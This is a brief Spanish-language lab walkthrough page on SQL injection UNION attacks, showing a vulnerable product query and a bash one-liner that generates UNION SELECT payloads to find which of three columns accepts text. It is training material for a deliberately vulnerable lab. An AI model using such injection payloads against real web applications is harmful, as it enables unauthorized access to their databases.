Lab: SQL injection UNION attack, finding a column containing text
Ataque de inyección SQL mediante UNION, identificando una columna que contenga texto.
Información del laboratorio
SELECT * FROM products WHERE category = 'Accessories' AND released = 1Flujo de explotación
Obtener las columnas que pueden contener texto
cols=3; for i in $(seq 1 $cols); do echo "' UNION SELECT $(for j in $(seq 1 $cols); do [ $j -eq $i ] && echo -n "'a'" || echo -n "NULL"; [ $j -lt $cols ] && echo -n ","; done)--"; done


AnteriorLab: SQL injection UNION attack, determining the number of columns returned by the querySiguienteLab: SQL injection UNION attack, retrieving data from other tables
Última actualización